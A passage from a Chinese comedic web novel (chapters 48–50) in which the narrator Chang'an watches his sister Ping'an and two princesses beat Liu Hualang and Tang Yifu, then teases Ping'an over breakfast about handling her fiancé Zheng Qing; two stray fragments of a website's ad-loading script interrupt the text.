“耶吼……滚喽……”我简直开心到爆,一个滑铲,滑回去,正好停在末席,停稳脚步,便对着堂邑夫和柳花郎道:“快快快,走走走,别吃了别吃了,我们赶紧走去找郑清,我们妹妹最近母爱爆发,把我当儿子练上了,她又重女轻男,对小公主那是有求必应的,走走走,快快快,得赶紧让郑清娶了她,生一万个孩子,让她没空没工夫管我。” “长安,长安,回来给公主道歉!”平安那边已经炸了。 “滚远啦,滚不回去啦。”我扭头大声回复,又转头小声催促还没搞清楚状况的柳花郎:“走走走,快快快,晚了就完啦……”同样没搞清楚状况的惠王齐王问他们要不要一起走,我说不必。他们身份特殊,真不用跟着添乱。 “公主别生气,长安说女人呐不管大小不管什么年纪都是不能生气的,不然以后那几天的时候肚子会很痛,遭罪的都是咱们自己,走,穿上衣服,我们出去打他,消消气。” 我听了一个机灵,倒吸一口凉气,看了一眼窗户,拉着柳花郎,道:“来不及啦,咱们从窗户飞走吧。” 柳花郎简直榆木疙瘩一个,偏偏觉得我们小题大做,还在那里事不关己的样子,有滋有味地吃着鸡腿,一脸不以为意,“拌了几句嘴的事,不至于吧,再说你们逃你们的,拉我干啥,跟我什么干系。” “来不及解释,十万火急啊哥们儿,你这时候犯什么倔?快快快,快别啃了,这鸡腿是有多好吃,命要紧啊。”我简直要被他气死。 “啧,可……我不会飞啊。”柳花郎道。 “你可真是个老五。”我才想起来,忍不住骂他。 “什么意思?”柳花郎一脸茫然。 “老五就是废物的意思。”堂邑夫解释道。 “……梁王啊?”柳花郎想了一下,更茫然了,问道。我紧跟着就是一巴掌,心道你要死啊,一屋子的皇室,你搁这乱说。 “啊,你打我作甚?”柳花郎扔了鸡腿捂着脸,不可置信又十分气愤,隐忍。 “打你敢妄议国政,非议亲王。”我真是无语了,我竖着耳朵听着内殿的动静,对堂邑夫说道:“来不及啦,咱俩躲吧。”说完我俩飞出窗外,躲了起来。 内殿门被踢开,“长安人呢?”夫诸平安带着青鸟鸾凤两个公主一边卷袖子一边快步朝着末席的柳花郎走过来。 大殿上,她们经过的地方随着她们的脚步,仿佛瞬间化作上古神界,她们像下落凡尘的仙子…… “刚,刚……飞,飞走啦?老,老五为什么是废物?”柳花郎别开视线,看了看窗外,捂着脸一边收拾地上的鸡腿,一边问夫诸平安问题。 48. 打他 “因为五的英文啊。”平安刚要走向窗户,又顿住,然后回答道。 “那不是five吗?”柳花郎低声嘟囔道:“那么不标准的发音,感情你教的?你不说你考上大学了,你别是小学没毕业吧!” “发音有什么要紧,又没人听得懂?”平安狡辩。 荣珺公主想赶紧出气,不想被打岔,一边摸着因愤怒而不停歇的眼泪,一边扯了扯平安的袖子,哽咽道:“平安我好气。” 平安心疼的将荣珺公主搂在怀里,找不到正主,看着置身事外的柳花郎,更气不打一处来,指着他道:“打他,他和长安坐一桌,他们一伙的。” “那他俩呢?”荣玥公主看了看惠王齐王两个哥哥,有些迟疑。 平安看了看一脸天真无邪的惠王和齐王,“他们是亲王……他们还病着,我们……我们不能欺负弱小,集中火力打这一个就行。”说着三人就向柳花郎缓缓逼近。 柳花郎还在状况外,但是杀气腾腾的压迫感,让他终于感觉大事不妙,坐在地上一边往后倒退,一边满脸惊恐道:“喂喂喂,你们要干什么,别不讲道理,长安惹的祸,跟我什么关系,喂喂喂,你们动真格的啊,你们这样子,让我感觉梦回南唐的那些年啊。” “梦回?……那就实现它。”平安坏坏一笑,轻飘飘地道。释放心中恶魔的感觉实在太好了,平安感觉自己好像正在上瘾,她要放飞自我,这让她十分畅快。她感觉长安说得对,她忧郁压抑得太久了…… “啊啊啊,不是吧,不要啊……”柳花郎反应倒也迅速,连滚带爬的跑出大殿,平安和两位公主追在后边。 “世界如此美好,你们生的如此美丽,不要这么暴力啊,别追了,我刚吃了饭,岔气了……”柳花郎在前面声嘶力竭。 “平安要不我们算了,他夸我美丽,我顿时也没那么气了。”荣珺放慢了脚步,拉着平安的手道。 才释放自我,不尽兴,平安是不肯罢休的,“他油嘴滑舌惯了,咱们不能被蛊惑,这种话以后要多听,听得多了就没那么动听了。做事不能半途而废,冲啊……” “那叫侍卫帮忙,我跑不动了。”荣玥已经有些累了,气喘吁吁,跑在最后。 “不行,自己的事情自己干,加把劲儿,他也跑不动了,这个时候,就得看谁更有毅力,冲啊……”平安放慢脚步,一手拉着荣珺,一手拉着荣玥。 我不禁感叹,“我妹妹体力真是好,心志也坚毅。”再看看狼狈的柳花郎,我不禁摇摇头,“早就说要带你走嘛,非是不听,啧。”眼见他们跑到外面庭院里,我和堂邑夫又赶忙翻进窗子躲避,趴在窗台边上往殿外看。 柳花郎经过汤泉池子上面的小拱桥时不小心滑倒了,终于正式落到三个香汗淋漓气喘吁吁的美人手里。 两位公主又累又气,心中的愤恨就更加盛了,对着柳花郎劈头盖脸,上下其手。平安赶紧阻拦,“哎哎哎,脸不要打,那是他的饭碗,这里也不能打,这是他的尊严,打坏了,我们会得到一个柳公公的。” 然后柳花郎就惨叫了起来…… “长安,上次平安被郡主打了,你就说要调教妹妹,把……妹妹……给调教成……这样啦?”才多些时日没见啊,就泼辣成这个样子!这还是那个说话软绵绵,浅笑温柔柔,生气只会嘟嘴红眼落泪,娇滴滴的平安妹子吗?堂邑夫感觉今天真是大开眼界了。他顾及我的身高,便在我身边单膝跪地,一手搭在立起的膝盖上,身子稍稍前倾,饶是这样也比我高出许多。 “咋地,小刀拉屁股,开了眼了?鲜活鲜活的,这不比之前更惹人爱了吗?回头我得再教我妹妹点武功,让她更锋芒一些,省得有人看着眼馋见色起意,欺负了她去。”我得意地靠在堂邑夫肩上,心情愉悦地欣赏着平安,就像欣赏一件非常满意艺术品,接着道:“调教妹妹这件事儿,其实说到底并不是因为郡主的原因。啧,不是你教我的嘛——说小猫要有爪子,玫瑰要长刺,女人就是得带劲——男人都是有征服欲的。想起来了吧?”说着我用胳膊肘碰了碰堂邑夫。 “……哎呀,大道理啊,我之前也是大材啊。”堂邑夫回想起来,觉得自己曾经总结的简直太好了,这些道理和平安写的手札一样好。 “哎,现在也是。” 堂邑夫对我赞许很是受用,我喜欢他因为我的夸奖而得意骄傲的样子,抬手像摸一只大狗狗一样摸了摸他,接着道:“我妹妹死心塌地要跟着郑清,那可不能太柔顺,你想哈,郑清正是血气方刚的年纪,又是个专业驯马的,那征服欲肯定是爆棚啊,你看那小黑,越难驯他越用心,越折腾他他越来劲,对马尚且如此,女人更是啊。咱们之前总觉得他对我妹妹差点意思,原因就是咱妹妹太过温顺了,太听话了。哪,长成这样,穿成那样,不少男人盯上了围着转,郑清他居然就没生过气,不吃味,一点危机感都没有,说好听了是绝对的信任,归根到底还不就是咱妹妹太过忠诚了,贴太紧了,甩都甩不掉,当然不担心被人拐跑了。爱情是什么,是占有欲,是敏感,是不清醒,你看郑清这三样占了哪一样,一样没占上对吧?” 堂邑夫听得一脸认真,点点头,那个郑清确实对平安没有占有欲,木讷,清醒又理智……堂邑夫咬了咬后槽牙,说道:“对!比木头还木头,比石头还石头,平安跟着他都丧良心,写出那样的文字,得多伤心啊?” 想到平安小札上那些伤感的文字,我心一揪,“对啊,爱情是黏人,是吃醋,是多疑,是无理取闹,莫名其妙,他有吗,他没有,我妹妹倒是一样不落,偏偏我妹妹自己独自煎熬,那小子什么也看不见,也感受不到,哎呦心疼得我哟。爱情嘛,就是要失去理智的嘛,要晕头转向还坚定不移的冲着对方一往无前才对,可是他有吗?没有对吧?”我越说越气,感觉要爆炸,恨不得赶紧去暴打郑清一顿,小拳头攥地紧紧的,说话也越发咬牙切齿。 “嗯!”堂邑夫对我感同身受,义愤填膺地点点头。 “唉,咱妹妹给他吃定了,他不怕啊,他没什么好失去的啊,什么都不用做,我妹妹就死跟他,赶都赶不走,你说气人吧。”我心里越发憋气,却也越发充满无力感,“平安这个傻姑娘,就是闹不明白,爱是双向奔赴,是怎么爱你都不嫌多,是怎么在乎也怕不够,可是你看郑清,天天无为而治,顺其自然,坐享其成,乐得其所……这要是我妹妹性子再不桀骜一点,还乖巧懂事的像个提线木偶一样,郑清对她还有什么欲念可言,就该被外面那些野花浪草给勾搭跑了。就像你以前说的,熄了灯女的都一样,乌漆嘛黑的,天仙又能怎样?索然无味,味同嚼蜡,难以下咽……” “啊?我以前还跟你说过这些乱七八槽的吗?……咱妹妹……不至于吧?就算熄了灯,眼睛看不见,那听着声儿心里想想也……”堂邑夫觉得我的话有些严重,但一说到想字,为避免误会,他赶紧噤声。 那边平安和两位公主对柳花郎的殴打如火如荼,我简直对现在的平安的泼辣劲儿满意极了,不理会堂邑夫说了什么,只自顾自说道:“哪,瞧瞧,你看如今多好,就是要这样子才对嘛,够泼辣够带劲儿,男人哪有不好这口的,这才几天,你都觉得眼前一亮对吧。” 柳花郎给打得不成样子,哭喊饶命。 我啧了两声,接着道:“说是最近郑清的表现有起色了,也不知道真事儿假事儿,不过到底跟平安先做了改变有关系,不过要我说,平安最好还是要更加放肆一些,更加胡作非为一点……” “也别太……我是说……咱妹妹其实,可以,往回收那么一点点,现在这个程度也确实像柳花郎喊得那样,有点……太残暴了些。”堂邑夫看着被打的奄奄一息的柳花郎,不禁打了个寒战。 我思考着,没听见堂邑夫说什么,道:“嗯……我妹妹太出淤泥而不染,濯清涟而不妖,太温柔善良,太端庄持重,母仪天下也就这样了,太优秀了,太翘楚了……郑清太配不上我妹妹了,太不开窍了。” “……嗯?”堂邑夫看我和他没尿一个壶里,有些茫然。 “平安说郑清最近好很多了,且不说是不是平安护短说了假话哄我改善对郑清的印象,只说这郑清表现,就跟站在山底,哦,山谷,”我特地加重了语气,强调,接着道:“这人在山谷,只要稍稍抬脚,就上升了高度,就可以看做是进步,可其实呢,比平 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 常人差了不知多大一截子。咱妹妹,委屈着呢!” “那……那我去给咱妹夫开开窍吧。”堂邑夫提议,大有舍己为人的悲壮。 我嫌弃道:“你能开什么窍?你能开出什么好窍?你开出来的能是什么好窍?”堂邑夫被我问的说不出话,红着脸别过头,继续看柳花郎遭罪。我长长叹了口气,塌下肩膀,担忧道:“是要做夫妻的人,发乎情止乎礼自然是好的,可是天天没发什么情,还光顾着止乎礼了,总是相敬如宾的那可不行。”我眼睛亮了亮,“我妹妹还得再大胆一点,再出格一点,才会更加璀璨夺目,更风情万种,更鲜活绝艳,到时候被拿捏,被牵制,辗转反侧,寝食难安,患得患失的就是那个只知道驯马傻小子啦。” “哇呜,长安你好懂啊。”堂邑夫对我满眼崇拜。 “和你比……承让吧。”我原是不肯服输的,不管哪一方面,可对方是堂邑夫,我便愿意让步。我说完看了一眼摩拳擦掌的堂邑夫,挑挑眉,“你干什么?怎么一副,跃跃欲试的样子……” “欲试?试什么?平安妹妹啊?”堂邑夫懵了一下,脑子瞬间乱了,对我的质疑一脸不可思议,“哪有,我怎么胆敢?那是咱妹妹好不好?”堂邑夫见我眼中戾气褪去,才低头看了看自己的摩拳擦掌,“噢,你说这个,我只是……你不觉得,你有没有觉得,柳花郎的叫声……” “对吧,他叫的真是,太浪了……好想殴打他啊。”我很赞同堂邑夫的关注点。 “哎,我就是好想揍他,都有点忍不住了。”堂邑夫顿时起身,两只手压的指节咯咯作响。 “那就揍他,他不是哭喊着什么梦回南唐吗?什么在南唐被女人追打的日子,分不清南唐和大汉嘛,都是朋友咱们可得帮帮他,让他知道知道区别——在南唐,他只被女人打,在大汉,他男女通打,省得他下次梦回分不清身在何处,哎,先别去,时机不对。”不等我说完,堂邑夫就动身了,我赶紧阻拦,岂料堂邑夫兴致大起。 “哼,打他还用看黄历!?”堂邑夫学着我平时说话的样子,跨出窗户,大步向前。 “哎回来,正在兴头上,会连……”我话还没说完,堂邑夫就被平安三人按倒了,粉拳劈头盖脸的落下,他瞬间吃痛大叫,我悟了捂脸,把嘴边的话接着说完,“……你一起的。” “一个两个都真是不听劝呐,啧,有时候身边都是猪,真的充满了无力感,唉。”我面如死灰,摇头感叹。 “啊……啊啊啊啊……别打,别打,我是来帮你们的,帮你‘们’,刚才你们出手太快,我那个‘们’字,你们没给我机会说出来……”堂邑夫大叫着哀嚎。他刚才霸气出场,是说了一句‘我来帮你……’话没说完就给平安她们无差别攻击了,这是我早预料到的,不然也不拦着他去帮忙。 柳花郎闻言,褪去脸上的感激,转而是质疑,是愤怒,“什么?你,哎呦,大姐能不能打个商量,先等等把话说完,哎呦,啊,你们轻点轻点,哎呦,堂,堂邑夫你,你不是来帮我的,哎呦,嘶哈,啊,你,是来帮她们的?!那我也帮她们!”说罢也不顾身上袭来的粉拳,对着堂邑夫就开战。 平安很有骨气的样子,对柳花郎厉声道:“我们自己打的过来,不用你帮忙,也不许你加入。” “我为我自己打的,还不行吗?”柳花郎在堂邑夫肩膀上边打了两下,边说道。 “那我也为我自己打。”堂邑夫说完便要反击,却被正在兴头的那四人合力按着打起来,战局瞬息万变,堂邑夫只得求救,“啊……长安我被通打啦……啊哈哈哈……啊啊啊……” 我趴在窗台上,大声道:“哇,叫你不听劝,你活该啊。”这个视角真好,惠王和齐王韩燕熙,和其他亲王等人都跑过来看热闹。 没打堂邑夫几下,荣玥就甩了甩手,道:“他怎么钢筋铁骨的,打起来手好痛,不如花郎打起来舒服。” 平安深有同感,也甩了甩手,旋即坏坏道:“那我们就恶毒一点,掐他。” “可是新做的指甲。”荣珺看了看自己的指甲。 扇巴掌,挥拳头,也就算了,可是掐的话,会弄坏新做的指甲…… 49. 在野 “那就再恶毒一点,抄家伙。”平安觉得自己的提议太好了,说完满意的点点头,转身找家伙,两位公主也跟着四处寻。 堂邑夫看清她们找好的家伙,简直要吓死,“啊啊啊……不是吧,这么块儿大石头搬不动就算了吧,会死人的,长安,这局怎么破。”堂邑夫向我这边大喊求救。 我从窗边一个闪现站起身来,把衣服一扒又瞬间穿上,一个转身躲到惠王和齐王身后。我已经暴露了,再躲回原来的位置,没意义,惠王和齐王是很好的挡箭牌,两位公主和平安不会再迁怒我,只会继续拿捏软柿子。堂邑夫会意,眼睛一亮,立马行动。柳花郎也瞬间明白用意,跟着行动。 果然——女孩子们扔了石头,捂着脸尖叫起来:“啊,不要脸,我们快走。”三个漂亮的女孩子,风风火火的跑了,从小竹林里另一座小拱桥,回了内殿。回到内殿,她们依旧心有余悸的对堂邑夫和柳花郎骂骂咧咧。 “我去,你脱裤子干什么?”堂邑夫看着整理腰带的柳花郎,简直被他的行为惊呆了。 我原本慢慢地从惠王和齐王身边走出来,欲去查看他们伤势,听闻此言立即震怒,正见两个难兄难弟相扶相持起身,整理着衣服,只觉他们嬉笑猥琐,更是两眼冒火。 “上衣带子刚才一着急给扯成死扣了,就……反正是吓唬她们,脱啥不是脱……”柳花郎还在不紧不慢地解释,我却早经出手了,胳膊上缠了两圈的金臂钏,被一甩而出,灌入内力,瞬间变成锋利挺直的刀片,一挥手便凌风飞去。 利器划破长空的声音,让堂邑夫警觉,堂邑夫蹙眉大喊:“哎,他裤子没脱成啊……” 我闻言的瞬间,指尖一弹,内力将金臂钏打偏稍许。 “什么东西,胯,下一凉?”柳花郎分明觉得有什么东西从两腿间划过。 金臂钏穿过柳花郎,凌空转了几圈,从大殿前面的窗户飞进来,被我内力召回,在我指尖旋着,恢复原来的样子,我重新戴回胳膊上,然后看着堂邑夫,勾唇一笑,有些赞许,“这小子,长心眼儿了。” 众人都被我的精湛技艺震惊,看看刘景,又看看我,面面相觑不敢多言,一个个都若有所思。 “兄弟你就多谢我吧,你今日躲过一骟,不是我及时阻止,岂止是胯~下一凉,那就是胯~下一空好吧,从此你就是柳公公了。”堂邑夫正在邀恩。 “躲过一骟?”柳花郎先是一愣,看了看下身,扯了扯两腿间的衣摆,俨然发现被利器贯穿划破的大口子,倒吸一口凉气,打了一个激灵,看了看正抱臂直视他们的我,往堂邑夫身侧躲了躲,充满感激和敬佩道:“恩公啊。” 我站在窗台上,对着堂邑夫道:“堂邑夫,很高兴你终于学会算计利用我了,还……一环扣一环的,是我喜欢的风格,正好你脸上有伤,别浪费了,教你三招,看好了。”说完,在众人的注视下,我飞身过去与堂邑夫过招,柳花郎抱头鼠串到一边奇石后面。我身形极快,不等众人反应过来,一招一巴掌,啪啪啪啪,四巴掌已经打完,三招也随着巴掌声落教完了。 李远对身边的大儿子道:“身手真是快啊,这三招我模模糊糊记了个大概,你呢?” “我,我恍惚记了一招半式,细想已然模糊。”李大公子又被震惊了。 “是加密过的独门武功,不是轻易可以偷师的。”李远意味深长道。 太子身边的李椒神色复杂。太子看着满天的金色晚霞也一脸沉思。 堂邑夫捂着脸,不解的问道:“不是老规矩吗,三招,怎么多一巴掌?” “谁叫你刚才叫的比柳花郎还欠揍。”我飞回齐王身边。 齐王欲言又止的样子,我仰头看着他道:“你是觉得我太锋芒毕露?” 齐王没想到我直接大咧咧的说了出来,脸上有些讪讪,抽了抽嘴角,在我的注视下,老老实实地点点头。 “潜龙勿用,见龙在野,飞龙在天,亢龙有悔。”我看着他认真地道:“这十六个字是我出师时,我师父送给我的,我现在是见龙在野,一身本事,这么大才,藏不住的,干脆大大方方的施展呗。再说你怎么知道你现在看到的,不是我已经藏好了的呢?其实藏或不藏,原本也不是由我决定的,还得是我主英明,君若疑我,杀我便是,君即信我,我何须藏,我这一辈子,从来不是为了明哲保身,安身立命而来的,我才不要小心翼翼,畏畏缩缩,战战兢兢,那可不是我。” “我长安说得甚好,到我身边来。”刘景很是赞赏,说着向我招招手,我立马像个欢快的小狗子,摇头晃脑的蹦着跳着跑过去,一头趴进刘景怀里,撒娇道:“陛下,我想要一个新肚兜。” “好好好,你想要什么样的?”刘景像摸小狗子一样摸着我的头。 “我想要……嘤嘤嘤……还是算了吧,平安会给我没收的。”我想了一下,觉得还是不要白费力气了。 “我可以在肚兜上御笔亲书:‘不准没收’四个字,让绣娘给你绣上。” “啊……那可能也不是什么好看的肚兜……哼,不要了,嘤嘤嘤,我没有合心意的肚兜穿,嘤嘤嘤……” 刘景哈哈大笑说我一番折腾也没怎么好好吃饭,说着就拿起碗筷,亲自喂我。那神情,颇有一种饲养爱宠的乐趣和享受。我虽然表现的很狗腿子,可他别是真把我当小狗子养吧。得了,人在屋檐下不得不低头,谁叫他是皇帝我是鹰犬呢?那就好好沉迷吧,看我以后怎么拿捏你。 “陛下慢点塞,喂得太快有点噎。”我喝了一口水,往下顺了顺,说道。刘景是真不怎么会喂孩子啊,噎得我光想掉眼泪。 入夜,刘景仁厚,正殿让给三个女孩子,跑到偏殿来和儿子们挤在一处,父慈子孝,十分和谐。我练功回来,亲王们已经熟睡,刘景一直等着我,和我到偏僻处对坐合掌运气调息。他如今身体健壮的像一头牛一样,四十出头的年纪比二十多岁的小伙子也不差。他对自己的状态简直满意极了,对我更加信任依赖。 第二日清晨,晨雾还未散去,我在庭院里看着堂邑夫练功,平安也起得很早,来找我,我打算一会儿吃完早餐和堂邑夫一道出宫去,平安说公主还想和我玩,昨晚唠叨了很久,才肯睡。 我低着头,不肯答应。宫人们开始上工了,堂邑夫便带着一身汗水下去沐浴更衣。 “做什么一副很为难的样子。你又不是学宫学生,课业繁重,也不是官身,政务繁忙,平时都那么空闲,和公主玩一天,怎么啦。”平安跟我肩并肩坐在亭台的石阶上,看着宫人们洒扫,我担心石阶上凉气潮气对她身体不好,特地给她垫了蒲团。贵人们大约这个时候晨起了,正在洗漱,宫人们忙忙碌碌进进出出,倒也别是一番景致。 早上的空气清新,宁静的氛围里,鸟儿的叫声也分外好听,我原本心情很好的,听到这个要求,瞬间觉得生活好沉重。 平安等不到我的回答,有些不开心了。 “唉,陪公主一天,自然不怎么,我不是为难这个,我只是不知道怎么取舍。”我噘着嘴吧小声道:“是你家郑清说让我有空闲的时候去指点一下他的武艺,我现在确实是有点空闲,就是不知道到底是陪公主玩还是去指点他,我好像已经爽约他两次了。” “……你明明就很忙,干嘛说自己有空闲,还不快去找郑清,哦,你先稍等我一下,我去拿东西和你一起。”自从把平安调教开窍了以后,她就这样反复无常的,空闲也是她说的,很忙也是她说的,却都赖在我身上,我有些憋气,可却觉得这是我的教育成果,心里还挺开心挺受用的。可,这不是我风格啊,感觉自己好像贱贱的,是怎么回事?我正疑惑着,就听见两位公主从身后走来说道:“我也去。”“那我也去。” 平安瞬间没了兴趣,她不想让其他女子接近她的郑清,尤其是年龄相仿的美貌女子,虽然公主不见得能看上郑清,可她自己宝贝的不得了,捂得很紧:“那我不去了。”转头又对我说道:“我晚上回家,你记得来家给我带个王记大肘子,不要切不要剔,我要一整个抱着啃的那种。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “好的记住了,我妹妹牙口真棒。”我呲着牙笑得开心,点点头应下。 “我也要,我也要大肘子。”荣珺急道。她现在是对平安无条件迷恋,效仿阶段,俨然成了学人精,平安干什么她就要干什么,平安要什么,她就要什么。 “吼,肘子那么油腻,你吃了,会胖会腰很粗会没有腰会没男人喜欢没人要,公主的屁股这么大……”我倚在台阶上,吊儿郎当坏坏地唱着顺口溜,气她。 “啊啊啊……长安你坏死了,我讨厌你,我要殴打你,吃本公主一脚……”荣珺说着,就起身抬腿踢我,我转头视线正好对上她的□□,虽然她穿了底裤,还有裙摆做掩,但是我本能的捂眼睛,夸张地叫着辣眼睛。她见此情景,本能的捂裆,结果脚下站不稳,摔倒了。宫女手忙脚乱的去扶她,我则幸灾乐祸:“哈哈摔了吧,你是女的什么都没有你捂裆干什么,捂裆派啊?” “是你先捂眼睛的。”荣珺恼羞极了,脸红的要滴血,眼泪不争气的一颗一颗往下掉。 “对啊,不然你这局要我怎么破?你是公主,我能对你动手啊?还是我要坐着乖乖等你一脚踹我脸上?”我一脸淡漠。哼,我要是能乖乖的让你踹,还能惹你生气踹我啊。 “你滚,你滚,我再也不要看见你。”荣珺坐在地上蹬着腿,哭嚷,不顾及公主的礼仪,也不顾姐姐荣玥和平安的安抚劝慰。 早膳,不出所料,我被禁止进入内殿和妹妹平安一起用膳,于是我一蹦一跳的到大殿的末席和惠王齐王他们一桌吃早餐,堂邑夫给我布菜,齐王给我递上包子,惠王给我盛了白粥,白粥是鸡汤熬得,柳花郎从粥煲里,捞起母鸡,拆下鸡腿,将鸡腿肉撕下来放进我的白粥里。 对嘛,这才是有模有样的一顿早餐。我很满意。 早晨的平安不施粉黛,如清水芙蓉一般,她们开小灶吃得早吃得快,不像我们男人,人太多,聚齐了,一桌一桌上好饭菜,宣布用膳,她们都吃完了。两位公主在内殿梳妆打扮,平安则随意绾了长发,出了内殿,有些着急地快步到我身边,急切地趴在我耳边小声耳语。 昨天她带着夫诸妆,很多人都没看真切她的样子,如今大家都熟络了,又都知道她有一个那么厉害的哥哥,很得上位者喜爱。她自己也是公主的好友,她便也不发怯了,落落大方的出现在众人面前,她这般不施粉黛清丽脱俗,不经看愣了一众人。 齐王眼睛在我和平安身上来来回回,最后若有似无轻轻叹了一口气,安心吃饭。 平安着急找我,原来是她的手札丢了,我喝了一口粥,道:“找不到就找不到呗,都是些多愁善感的文字,就算后头消了气,再返回来去翻看,感觉又要伤心一次,反反复复折磨自己,日子还过不过了。丢了正好,做女人就是要开心才对,就学我教你的那些,怎么畅快怎么来,天不怕地不怕的才好。诚如你所写,你以前总是太善良而没有锋利,结果骄傲啊,自尊啊,全都没了,那可不是什么好事,菩萨慈悲,是因为有金刚手段,你就光顾着善良了,一味忍让,不挨欺负不受气吗?我不用想,都知道你这些年肯定受了不少委屈。不过你现在身边有我在啦,你喜欢善良就尽管善良,尽管做慈悲为怀的低眉菩萨,我做你的怒目金刚,做你所有软肋的甲胄,把你护的好好的,你就负责美好,善良,纯真,每天貌美如花,挥金如土,我行我素,肆意妄为……干什么都行,只要你高兴就好。好啦,不要不开心嘛,有什么要紧的,小札而已,丢了就丢了,不要了。你再写新的,更好的。” 我说着余光扫了一眼认真吃早膳的韩燕熙,我妹妹现身了,他居然不跟上来,这可不是他的风格啊。 平安抱着我,整个人压在我肩头撒娇,“对,丢了就丢了,嗯长安你真好,有你在我身边是真的好好啊,感觉事事顺心,不开心的事,也能捋顺,要搁以前,我得伤心难过,哭很久还不能释怀呢。” 平安就是性格好,不执拗,好劝好开解的很,看着她花容笑靥,我心情舒展,万分愉悦。 50. 驯服 把手里的包子放下,我不太喜欢吃素馅儿的包子,咬了口平安给我扒好的鸡蛋,“事事顺心啊,有钱有本事,就事事顺心,如果不顺,那就是钱和本事还不到位,郑清那个傻子,我是不指望他让你过得有多顺心了,我多努努力,争取更有钱更有本事,让你俩一起顺顺当当的过吧。” “我们成亲以后,长安你可得继续做我军师,教我御夫术哈。”平安帮我擦擦嘴角。 “不是吧,你们家郑清……你是对他多没信心,还是对自己没信心?你嫁给他,就是个马奴的婆娘,相敬如宾,平平淡淡过日子吧,他又不是什么豪门世家,门阀权贵,需要三妻四妾,三房六院,要你那么多弯弯绕绕争宠固宠,还御夫?再说,你家郑清专业驯马的好吧,御妻术肯定很厉害的好吧,我闲得蛋疼,在你们夫妻这种事情上横叉一杠子,再再说,我给做你军师跟他做对手,你能保证不偏心啊,你肯定事事来问我,又事事站他,到时候我出主意赢了他,你心疼他你跟我生气,赢不了他,我丢面子不说,你心里不痛快还是跟我生气,我可不自找苦吃。”我断然拒绝。 “我不管,反正你就得是我的军师,就是要给我出主意。”平安不讲道理,耍赖皮。 “哎呀,两口子的事不行,做军师是要知己知彼的,给你出主意,前提我是要先代入你这个做妻子的角色,去琢磨郑清这个夫君的,琢磨一个人是要投入感情的,你那么爱他,我代入你去琢磨他……不行!我的好妹妹,我一个做大舅哥的我琢磨妹夫干什么,你自己男人你自己琢磨嘛,不要带上我。”平安完全不听劝,撒娇讹我,嚷嚷着要学御夫术,我被她摇得没法吃饭,无奈道:“好啦不许讹人,虽然把你调教成这样,看着你鲜活阳光,我是很满意没错,但总感觉搬起石头砸自己脚呢。” “是错觉。”平安假装生气,噘着嘴巴瞪着我道。 啧,真是可爱,你说我怎么就拿她没办法呢。“好了啦,你不需要什么军师教你什么御夫术,对付你家郑清其实很简单,就一点,你只要想办法,控制好度,让他感觉完全没办法把你驯服,没办法完全把你驯服,就肯定能一辈子吃定他,拿捏他。” “……哇长安你好聪明啊。”平安回过味儿来,受到启发,眼睛瞬间亮起来,对我崇拜的不行。同桌吃饭的男人们,也满脸赞同,点点头。 “哎……全靠衬托。”我不以为意。 “不过,你的意思是他一直以来把我当马驯?”平安满脸别扭。 “你以为你家郑清端的哪碗饭?”我低着头吃饭,随口一说。 平安觉醒,心里不舒服很不情愿,她怎么能接受自己在郑清眼里和那些马一样呢?但是有些东西是刻进骨子里的,我坚定的相信,作为顶级驯马师的郑清,比别的男人更有征服欲,更喜欢驯服,不论马匹还是女人。 平安听我这般解释,嘴上还是不服。 我不喜欢她和我犟嘴,斜眼看着她道:“哇你要不要回忆一下你小时候什么样子,我还学着端庄持重的时候,你都把家点了,你娘三天不打你,太岁头上的土你都能给翻新一遍,要不是发生变故,你才是无法无天的混世大魔王。郑清小时候放的那几只羊,哪只没被你薅得斑秃过?见了你就跟见了狼一样,草都不吃了,没命的跑。你本性就不是个温顺的,心里没数啊,如今这般样子,哼哼,不明摆着就是早让他驯服了吗?哎哟听话的呦,小白兔小猫咪小妲己来了都得管你叫祖师爷哦祖师奶,哎呦那个善解人意哟,温柔懂事哟,自己上赶着拱人怀里让人摸,他还没什么表示你先替他嫌弃自己掉毛,卑微的那个样子我看着就来气,还让我当军师?对付别人行,对付郑清,真是我有一千种劝法,你有一万种贱法。快闭嘴吧,批评完了,马上给你出主意了,且老实听我把话说完。”我哪里肯给平安反驳的机会,连气儿都不换,接着道:“你就应该心思深不可测,情绪起伏不定,性格阴晴圆缺,一会儿热情似火,随时冷漠如冰,让他捉摸不定,胆战心惊,感到疲惫不堪,偏又意犹未尽,最好当着他面和别的男人纠缠不清,关系暧昧,态度模糊,对他的感受视而不……” “快打住吧长安,这出的是什么主意,是要把我调教成精神病吗?”平安一拍桌子,气道:“你真是有本事,每次刚说得我要感动,想要细听,细琢磨,就立马不着调起来,非要惹我生气。” 我拿起黄瓜沾了酱,咬了一口,发出清脆的声音,眼睛转了转,思考怎么哄她,半根黄瓜下肚才道:“好啦,是我过分了,说些不三不四的话惹你啦,作为赔礼,你成亲的时候我送你点好东西,我师父给我留了有一山洞的清宫图,回头让堂邑夫拉来送给郑清。” 大殿,一阵咳嗽声…… 似乎都在等平安发个更大的火,大家吃饭的动作和声音都透露着小心。 “……怎么会有这么棒的礼物?”平安脸上的愠色褪去,喜笑颜开,对我的提议欣然接受,很是满意。 又是一阵咳嗽声…… 堂邑夫是知道那一山洞的清宫图多么浩瀚的,只觉得工程太大,一想到路途遥远,要来回奔波,他就身心俱疲,道:“清宫图都差不多啊,一本就行了。一山洞呢,搬到猴年马月?” 我想了想也是,就对平安说:“我的丹青水平还可以,要不,我亲自操刀,给你画一本吧,男的画成郑清的样子,你看着也喜欢,女的画成你,郑清看着代入感也强,学的也快。” 又是一阵……剧烈的咳嗽声…… “好呀好呀好呀,嗯……长安你好贴心,我简直爱死你了。”说着平安在我脸上一边亲了一下:“替我清哥哥谢谢你哦。” “哎哟你是我妹妹嘛,不能光调教你,当然也要把他调教好,也得让他把你伺候得舒舒服服的嘛,啊哈哈哈……”我坏坏的低声道,然后仰头开怀大笑。 “那你要多调教调教他。”平安也坏坏地低声道。 “啧,别贪心吧,都送私人订制清宫图啦,还要怎样调教,手把手教哇?”我讳莫如深的警告平安:“你可别没个边界,你防着我点好吧?” “你……有什么……好防……”平安闻言,不由自主的上下打量我,忽觉得此举对我有些伤害甚是失礼,很是抱歉,赶紧转过头去。 